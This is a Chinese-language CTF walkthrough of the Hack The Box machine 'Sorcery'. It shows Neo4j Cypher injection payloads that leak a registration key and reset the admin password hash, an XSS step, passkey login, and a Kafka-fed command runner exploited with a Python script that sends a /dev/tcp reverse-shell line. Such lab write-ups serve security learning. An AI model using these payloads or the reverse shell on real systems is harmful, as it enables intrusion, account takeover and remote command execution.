
第1步:侦查 / 枚举
-
运行 nmap:
nmap -T4 -vv -sC -sV -oN nmap/intial 10.129.161.83 -
发现开放端口:
- 22/tcp -> SSH (OpenSSH 9.6p1)
- 443/tcp -> HTTPS (nginx/1.27.1)
第2步:网页枚举
-
访问主网站:
https://sorcery.htb/auth/login
-
发现 Gitea 服务器:
https://git.sorcery.htb
仓库发现:

代码审查:

-
克隆仓库:
GIT_SSL_NO_VERIFY=true git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
第3步:注册用户
-
在下方网址注册:
https://sorcery.htb/auth/register
注册成功

第4步:注册密钥的 Cypher 注入
查看产品:

backend-macros/src/lib.rs,第 143 行
let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
let name = field.ident.as_ref().unwrap(); // 例如,"id", "username"
let type_ = &field.ty; // 字段类型
let name_string = name.to_string(); // 在本例中为 "id"
let function_name = syn::Ident::new(
&format!("get_by_{}", name_string), // 生成标识符:get_by_id
proc_macro2::Span::call_site(),
);
quote! {
pub async fn #function_name(#name: #type_) -> Option<Self> {
let graph = crate::db::connection::GRAPH.get().await;
let query_string = format!(
r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
#struct_name, #name_string, #name
);
let row = match graph.execute(
::neo4rs::query(&query_string)
).await.unwrap().next().await {
Ok(Some(row)) => row,
_ => return None
};
Self::from_row(row).await
}
}
});
let query_string = format!(
r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
#struct_name, #name_string, #name
);
注入查询:
get_by_id("someid\"}) RETURN 1 AS injection //--")
后端可能执行如下操作:
MATCH (result: Product { id: "someid"}) RETURN 1 AS injected //--" }) RETURN result
而用户输入(即 params.product)为:
88b6b6c5-a614-486c-9d51-d255f47efb4f" }) MATCH (u:User {username: 'admin'}) SET u.password = 'HASH' RETURN u //
其他查询:
88b6b6c5-a614-486c-9d51-d255f47efb4f"})
OPTIONAL MATCH (c:Config)
RETURN result { .*, description: coalesce(c.registration_key, result.description) }
//
-
这关闭了原有的 MATCH 语句:
... WHERE id: "${params.product}" }) ...变为:
... WHERE id: "88b6b6c5-a614-486c-9d51-d255f47efb4f"}) ... -
然后注入一个新的 Cypher 子句:
OPTIONAL MATCH (c:Config)并返回篡改后的结果:
RETURN result {
.*,
description: coalesce(c.registration_key, result.description)
}
以 // 结束,以注释后续所有 Cypher 查询逻辑(例如 LIMIT 或尾部语法)。
-
通过 URL 请求注入 Cypher 查询,提取注册密钥:
`
https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f%22%7D)%20OPTIONAL%20MATCH%20(c%3AConfig)%20RETURN%20result%20%7B%20.*%2C%20description%3A%20coalesce(c.registration_key%2C%20result.description)%20%7D%2F%2F

`
-
找到卖家注册密钥:
dd05d743-b560-45dc-9a09-43ab18c7a513 -
现在可以使用此密钥注册为卖家

现在我们已成为卖家,并新增了“新产品”选项

第5步:利用 XSS 提取管理员密钥
在“新产品”页面中存在 XSS,在这里你可以获取管理员的密钥并使用该密钥登录
https://sorcery.htb/dashboard/new-product

- 触发 XSS,提取管理员凭证
第6步:利用 Cypher 注入重置管理员密码
现在通过下面的命令可以看到管理员密码以 Argon2 哈希存储
"}) OPTIONAL MATCH (u:User) RETURN result { .*, description: u.password }//
你也可以通过代码验证这一点:
if Argon2::default()
.verify_password(
password.as_bytes(),
&PasswordHash::new(&user.password).unwrap(),
)
生成一个 Argon2id 哈希
原始负载:
88b6b6c5-a614-486c-9d51-d255f47efb4f"})
WITH result
MATCH (u:User {username: 'admin'})
SET u.password = '$argon2id$v=19$m=19456,t=2,p=1$9S5BTwdL3xhISWMIhz/3wA$yMnVOfgHjzt50z9pe9J1S1hrH/WHFmoLG+HJwnsb1VM'
RETURN result { .*, description: 'admin password changed to pain0005' } //
最终负载:
https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f%22%7D%29%20WITH%20result%20MATCH%20%28u%3AUser%20%7Busername%3A%20%27admin%27%7D%29%20SET%20u.password%20%3D%20%27%24argon2id%24v%3D19%24m%3D19456%2Ct%3D2%2Cp%3D1%249S5BTwdL3xhISWMIhz%2F3wA%24yMnVOfgHjzt50z9pe9J1S1hrH%2FWHFmoLG%2BHJwnsb1VM%27%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20%27admin%20password%20changed%20to%20pain0005%27%20%7D%20%2F%2F
这会将 Neo4j 数据库中 admin 用户的密码 重置为 pain0005

第7步:使用密钥登录
- 使用 WebDevAuthn 扩展
- 通过密钥登录:
admin

有时会显示 404,请尝试重新登录

我们需要密钥登录


你需要安装名为 WebDevAuthn 的扩展
使用方法:
检查元素 → 应用程序 → 右侧三点 → 更多工具 → WebDevAuth
选项 1:此设备 → 添加 → 登出 → 使用密钥登录 → 用户名:admin

或者会重定向到新页面,如下所示:
点击 Enroll Passkey 会重定向到新页面

点击后返回原页面

你将会看到如下界面:

登出 → 使用密钥登录

再次重定向到此页面:

然后返回主标签页,你就已经登录成功

登录类型:密钥

https://sorcery.htb/dashboard/debug

第8步:Kafka 利用
- 通过
docker-compose.yml设置 Kafka
mkdir kafka
nano kafka/Dockerfile
# 使用 Confluent 官方的 Kafka 镜像
FROM confluentinc/cp-kafka:latest
# 暴露 broker 和 controller 端口
EXPOSE 9092 9093
docker-compose up --build -d

docker ps

检查 Kafka 端口:
nc -vz localhost 9092
列出 Kafka 元数据:
kcat -b localhost:9092 -L
创建 Kafka 主题:
docker exec -it sorcery_kafka_1 \
kafka-topics --bootstrap-server localhost:9092 \
--create --topic **update** --partitions 1 --replication-factor 1
我们从 main.rs 后端代码中获取到了主题名称:
fn main() {
dotenv::dotenv().ok();
let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");
let topic = "update".to_string();
let group = "update".to_string();
let mut consumer = Consumer::from_hosts(vec![broker.clone()])
.with_topic(topic)
.with_group(group)
.with_fallback_offset(FetchOffset::Earliest)
.with_offset_storage(Some(GroupOffsetStorage::Kafka))
.create()
.expect("Kafka consumer");
let mut producer = Producer::from_hosts(vec![broker])
.with_ack_timeout(Duration::from_secs(1))
.with_required_acks(RequiredAcks::One)
.create()
.expect("Kafka producer");
println!("[+] Started consumer");
loop {
let Ok(message_sets) = consumer.poll() else {
continue;
};
for message_set in message_sets.iter() {
for message in message_set.messages() {
let Ok(command) = str::from_utf8(message.value) else {
continue;
};
println!("[*] Got new command: {}", command);
let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
Ok(process) => process,
Err(error) => {
println!("[-] {error}");
continue;
}
};
if let Err(error) = process.wait() {
println!("[-] {error}");
continue;
}
let entries = fetch_entries();
println!("[*] Entries: {:?}", entries);
let Ok(value) = serde_json::to_string(&entries) else {
continue;
};
producer
.send(&Record {
key: (),
value,
topic: "get",
partition: -1,
})
.ok();
}
consumer.consume_messageset(message_set).ok();
}
consumer.commit_consumed().ok();
}
}
wireshark
使用 Loopback lo

exploit_kafka.py
from kafka import KafkaProducer
import logging
# 启用基础日志记录
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def send_kafka_message(topic: str, message: bytes, partition: int = -1):
"""发送消息到 Kafka 主题(可选:指定分区)。"""
try:
producer = KafkaProducer(bootstrap_servers=['localhost:9092'], acks='all', retries=1)
logger.info(f"Producer ready. Sending to topic '{topic}'...")
if partition == -1:
future = producer.send(topic, value=message)
else:
future = producer.send(topic, value=message, partition=partition)
# 等待 Kafka 确认
meta = future.get(timeout=60)
logger.info(f"Sent! Topic: {meta.topic}, Partition: {meta.partition}, Offset: {meta.offset}")
except Exception as e:
logger.error(f"Failed to send message: {e}")
finally:
if 'producer' in locals():
producer.flush()
producer.close()
logger.info("Producer closed.")
# --- 示例 ---
if __name__ == "__main__":
topic = 'update'
message = b'/bin/bash -i >& /dev/tcp/10.10.xx.xx/443 0>&1' # 必须为字节格式
print("[*] Sending Kafka message...")
send_kafka_message(topic=topic, message=message)
print("[+] Done.")
python3 exploit_kafka.py

Kafka Produce v7 Response

右键 → Follow → TCP Stream

我们可以在 Wireshark 中看到数据:

切换到 ASCII → RAW 后:

https://sorcery.htb/dashboard/debug
主机:
kafka
端口:
9092
数据(十六进制):
000000b2000000070000000200176b61666b612d707974686f6e2d70726f64756365722d31ffffffff000075300000000100067570646174650000000100000000000000710000000000000000000000650000000002da0e04f600000000000....<SNIP>...617368202d69203e26202f6465762f7463702f31302e31302e31352e31312f34343320303e263100
勾选两个复选框

发送请求后

我们获得了一个 Docker 实例中用户的 shell
